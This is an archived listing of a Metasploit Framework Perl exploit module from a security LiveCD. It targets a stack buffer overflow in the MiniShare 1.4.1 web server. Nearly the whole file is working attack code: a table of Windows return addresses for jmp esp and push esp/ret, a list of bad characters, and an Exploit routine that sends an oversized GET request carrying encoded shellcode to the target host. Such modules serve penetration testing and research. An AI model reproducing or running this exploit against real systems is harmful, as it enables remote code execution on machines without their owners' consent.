home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / minishare_get_overflow.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  119 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::minishare_get_overflow;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. my $advanced = { };
  14.  
  15. my $info =
  16.   {
  17.     'Name'  => 'Minishare 1.4.1 Buffer Overflow',
  18.     'Version'  => '$Revision: 1.5 $',
  19.     'Authors' => [ 'acaro <acaro [at] jervus.it>', ],
  20.  
  21.     'Arch'  => [ 'x86' ],
  22.     'OS'    => [ 'win32' ],
  23.     'Priv'  => 0,
  24.  
  25.     'UserOpts'  =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 80],
  29.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  30.       },
  31.  
  32.     'Payload' =>
  33.       {
  34.         'Space'     => 1024,
  35.         'MinNops'    => 64,
  36.         'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
  37.  
  38.         #    'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",
  39.         'Keys'      => ['+ws2ord'],
  40.       },
  41.  
  42.     'Description'  => Pex::Text::Freeform(qq{
  43.         This is a simple buffer overflow for the minishare web server. This 
  44.     flaw affects all versions prior to 1.4.2. This is a plain stack overflow
  45.     that requires a "jmp esp" to reach the payload, making this difficult to
  46.     target many platforms at once. This module has been successfully tested 
  47.     against 1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
  48.  
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.         ['OSVDB', '11530'],
  54.         ['BID',   '11620'],
  55.         ['URL',   'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
  56.         ['MIL',   '39'],
  57.       ],
  58.  
  59.     'Targets' =>
  60.       [
  61.         ['Windows 2000 SP0-SP3 English', 1787, 0x7754a3ab ], # jmp esp
  62.         ['Windows 2000 SP4 English',     1787, 0x7517f163 ], # jmp esp
  63.         ['Windows XP SP0-SP1 English',   1787, 0x71ab1d54 ], # push esp, ret
  64.         ['Windows XP SP2 English',       1787, 0x71ab9372 ], # push esp, ret
  65.         ['Windows 2003 SP0 English',     1787, 0x71c03c4d ], # push esp, ret
  66.         ['Windows NT 4.0 SP6',           1787, 0x77f329f8 ], # jmp esp
  67.         ['Windows XP SP2 German',        1787, 0x77d5af0a ], # jmp esp
  68.         ['Windows XP SP2 Polish',        1787, 0x77d4e26e ], # jmp esp
  69.         ['Windows XP SP2 French',        1787, 0x77d5af0a ], # jmp esp
  70.       ],
  71.  
  72.     'Keys' => ['minishare'],
  73.  
  74.     'DisclosureDate' => 'Nov 7 2004',
  75.   };
  76.  
  77. sub new {
  78.     my $class = shift;
  79.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  80.     return($self);
  81. }
  82.  
  83. sub Exploit {
  84.     my $self = shift;
  85.     my $target_host = $self->GetVar('RHOST');
  86.     my $target_port = $self->GetVar('RPORT');
  87.     my $target_idx  = $self->GetVar('TARGET');
  88.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  89.  
  90.     my $target = $self->Targets->[$target_idx];
  91.  
  92.     my $pattern = Pex::Text::AlphaNumText($target->[1]);
  93.     $pattern .= pack('V', $target->[2]);
  94.     $pattern .= $shellcode;
  95.  
  96.     my $request = "GET " . $pattern ." HTTP/1.0\r\n\r\n";
  97.  
  98.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));
  99.  
  100.     my $s = Msf::Socket::Tcp->new
  101.       (
  102.         'PeerAddr'  => $target_host,
  103.         'PeerPort'  => $target_port,
  104.         'LocalPort' => $self->GetVar('CPORT'),
  105.         'SSL'       => $self->GetVar('SSL'),
  106.       );
  107.  
  108.     if ($s->IsError) {
  109.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  110.         return;
  111.     }
  112.  
  113.     $s->Send($request);
  114.     $s->Recv(-1, 10);
  115.     $s->Close();
  116.     return;
  117. }
  118.  
  119.